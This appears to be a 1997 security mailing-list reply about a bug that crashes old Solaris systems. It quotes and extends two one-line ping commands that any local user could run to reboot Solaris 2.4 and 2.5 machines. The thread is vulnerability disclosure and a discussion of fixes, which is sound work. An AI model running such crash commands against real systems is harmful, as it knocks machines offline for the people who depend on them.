Re: Solaris Ping bug (DoS)

Gnuchev Fedor (qwe@HT.EIMB.RSSI.RU)
Thu, 26 Jun 1997 14:01:56 +0400

On Thu, 26 Jun 1997, Adam Caldwell wrote:

> way to reboot a Solaris box, and is exploitable by anyone with an account on
>
> ping -sv -i 127.0.0.1 224.0.0.1
ping -sv -i 127.0.0.1 127.0.0.1 does same on 2.4

> On solaris 2.5, causes the machine to reboot (personal experience). I've
> had independent reports of it crashing 2.5.1, and 2.5 (x86). It probably works
> on all versions of Solaris.
> -Adam
Disabling ping??! Hope someone will devise more chewable solution :-)

With best regards

Fedor Gnuchev
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